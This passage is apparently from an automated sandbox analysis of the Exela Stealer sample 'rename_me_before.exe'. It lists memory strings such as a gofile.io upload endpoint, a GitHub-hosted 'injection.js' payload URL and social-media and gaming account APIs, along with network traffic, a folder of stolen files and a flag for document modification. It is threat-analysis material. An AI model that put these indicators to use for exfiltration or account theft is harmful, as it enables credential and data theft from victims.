Source: rename_me_before.exe, 00000001.00000003.1965401133.000001B17E4F0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966237596.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1981201596.000001B17E536000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1667996233.000001B17E531000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668933285.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669358961.000001B17E510000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670306810.000001B17E523000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668055844.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669127853.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965746028.000001B17E529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: powershell.exe, 00000045.00000002.1826414031.000001DBBFC44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: rename_me_before.exe, 00000001.00000003.1946914217.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891303123.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1980706775.000001B103351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.micros
Source: rename_me_before.exe, 00000001.00000003.1964419181.000001B102D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/ukhEgs
Source: rename_me_before.exe, 00000001.00000002.1979075425.000001B101E80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/ukhEgs)
Source: rename_me_before.exe, 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/ukhEgs)P
Source: rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gql.twitch.tv/gql
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://hynek.me/articles/import-attrs/)
Source: rename_me_before.exe, 00000001.00000003.1948127865.000001B1028B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.hid
Source: rename_me_before.exe, 00000001.00000003.1948127865.000001B1028B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.hidHdJb
Source: rename_me_before.exe, 00000001.00000003.1966972745.000001B102228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/6t31tw2.jpg
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/6t31tw2.jpg0
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/6t31tw2.jpgP
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/8po0puy.jfif
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/eai9bwi.jpg
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/eai9bwi.jpg0
Source: rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/qxnzimj.jpg
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=true
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/users/
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://img.shields.io/pypi/v/cryptography.svg
Source: rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://instagram.com/
Source: rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: rename_me_before.exe, 00000001.00000002.1976728516.000001B1009F2000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1968294358.000001B1009F1000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B1009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://mail.python.org/mailman/listinfo/cryptography-dev
Source: powershell.exe, 00000045.00000002.1843174125.000001DBCF1C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000045.00000002.1826414031.000001DBC0974000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000045.00000002.1843174125.000001DBCF082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: rename_me_before.exe, 00000001.00000003.1890796970.000001B1033C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
Source: rename_me_before.exe, 00000001.00000003.1946245078.000001B103636000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1967359730.000001B100BB9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891447549.000001B101FE6000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100BB9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977030207.000001B100BB9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1954269002.000001B100BB9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964950200.000001B100BB9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1890796970.000001B1033C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://o64374.ingest.sentry.io;
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/me
Source: svchost.exe, 0000002A.00000003.1749773200.000001D218CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.42.dr, qmgr.db.42.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.42.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: powershell.exe, 00000045.00000002.1826414031.000001DBC06A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000045.00000002.1826414031.000001DBC06A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/user/
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/user/P
Source: rename_me_before.exe, 00000001.00000002.1974448798.000001B100440000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://peps.python.org/pep-0205/
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://pypi.org/project/attrs/)
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://pypi.org/project/cryptography/
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforExela/injection/main/injection.js
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://readthedocs.org/projects/cryptography/badge/?version=latest
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://stackoverflow.com/questions/tagged/python-attrs)
Source: rename_me_before.exe, 00000001.00000002.1980252152.000001B102F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store1.gofile.io/uploadFile
Source: rename_me_before.exe, 00000001.00000003.1719040380.000001B103473000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D04000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: rename_me_before.exe, 00000001.00000003.1719040380.000001B103473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: rename_me_before.exe, 00000001.00000003.1719040380.000001B103409000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101C80000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1719040380.000001B1034AA000.00000004.00000020.00020000.00000000.sdmp, Historys.txt.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: rename_me_before.exe, 00000001.00000003.1719040380.000001B1033E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: rename_me_before.exe, 00000001.00000003.1949293092.000001B103309000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1980548513.000001B103309000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949632345.000001B103309000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1719040380.000001B103409000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966669110.000001B103309000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101C80000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1719040380.000001B1034AA000.00000004.00000020.00020000.00000000.sdmp, Historys.txt.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: rename_me_before.exe, 00000001.00000003.1719040380.000001B1033E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: rename_me_before.exe, 00000001.00000003.1966972745.000001B102228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ExelaStealer
Source: rename_me_before.exe, 00000001.00000002.1980252152.000001B102F50000.00000004.00001000.00020000.00000000.sdmp, system_info.txt.1.dr, Cookies.txt.1.dr, network_info.txt.1.dr, Historys.txt.1.dr, process_info.txt.1.dr	String found in binary or memory: https://t.me/ExelaStealer----------------------
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar?userIds=
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi
Source: METADATA.0.dr	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=referral&utm_campa
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tiktok.com/
Source: rename_me_before.exe, 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: rename_me_before.exe, 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: rename_me_before.exe, 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/home
Source: rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/homeP
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.json
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D04000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1979075425.000001B101E80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap
Source: rename_me_before.exe, 00000000.00000003.1662503428.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, LICENSE.APACHE.0.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: rename_me_before.exe, 00000000.00000003.1662615614.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1662503428.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1662689097.000001CF0A2A1000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1662503428.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, LICENSE.APACHE.0.dr	String found in binary or memory: https://www.apache.org/licenses/LICENSE-2.0
Source: METADATA.0.dr	String found in binary or memory: https://www.attrs.org/
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.attrs.org/)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.attrs.org/en/23.2.0/_static/sponsors/FilePreviews.svg
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.attrs.org/en/23.2.0/_static/sponsors/Tidelift.svg
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.attrs.org/en/23.2.0/_static/sponsors/Variomedia.svg
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.attrs.org/en/latest/names.html)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html
Source: METADATA.0.dr	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.attrs.org/en/stable/comparison.html#customization)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.attrs.org/en/stable/why.html#data-classes).
Source: rename_me_before.exe, 00000001.00000002.1980252152.000001B102F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: rename_me_before.exe, 00000001.00000003.1719040380.000001B103473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D04000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: rename_me_before.exe, 00000001.00000003.1719040380.000001B103473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: rename_me_before.exe, 00000001.00000003.1949293092.000001B1032A6000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1970308905.000001B102229000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1963524951.000001B100A7B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965367237.000001B100B88000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100A7B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969084056.000001B102228000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100A7B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1976940031.000001B100B8A000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966972745.000001B102228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: rename_me_before.exe, 00000001.00000003.1719040380.000001B103473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: rename_me_before.exe, 00000001.00000003.1719040380.000001B103473000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978027683.000001B101458000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: rename_me_before.exe, 00000001.00000003.1949293092.000001B1032A6000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101CCC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: rename_me_before.exe, 00000001.00000003.1719040380.000001B103473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: rename_me_before.exe, 00000000.00000003.1663988255.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, libcrypto-3.dll.0.dr	String found in binary or memory: https://www.openssl.org/H
Source: rename_me_before.exe, 00000001.00000002.1976728516.000001B1009F2000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1968294358.000001B1009F1000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B1009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: rename_me_before.exe, 00000001.00000002.1981358821.000001B17FE20000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: rename_me_before.exe, 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/user/
Source: rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/user/P
Source: rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.roblox.com/my/account/json
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.roblox.com/my/account/json0
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profile
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok
Source: rename_me_before.exe, 00000001.00000002.1976903040.000001B100B52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba
Source: rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.twitch.tv/
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://www.variomedia.de/
Source: rename_me_before.exe, 00000001.00000003.1965506103.000001B1005D5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966055870.000001B100617000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1975824517.000001B100655000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1968170677.000001B100654000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965777162.000001B1005E8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zopeinterface.readthedocs.io/en/latest/

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\rename_me_before.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\ONBQCLYSPU.pdf	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\VLZDGUKUTZ.jpg	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\KZWFNRXYKI.pdf	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\DVWHKMNFNN.jpg	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\VLZDGUKUTZ.docx	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404FFBD8	0_2_00007FF6404FFBD8
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF640505C74	0_2_00007FF640505C74
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF640504F10	0_2_00007FF640504F10
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404E1000	0_2_00007FF6404E1000
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF64050518C	0_2_00007FF64050518C
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F91B0	0_2_00007FF6404F91B0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404FD200	0_2_00007FF6404FD200
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F1280	0_2_00007FF6404F1280
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F7AAC	0_2_00007FF6404F7AAC
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF640508A38	0_2_00007FF640508A38
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F0A60	0_2_00007FF6404F0A60
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404E8B20	0_2_00007FF6404E8B20
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF640500B84	0_2_00007FF640500B84
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6405033BC	0_2_00007FF6405033BC
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F73F4	0_2_00007FF6404F73F4
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F1484	0_2_00007FF6404F1484
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F0C64	0_2_00007FF6404F0C64
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F2CC4	0_2_00007FF6404F2CC4
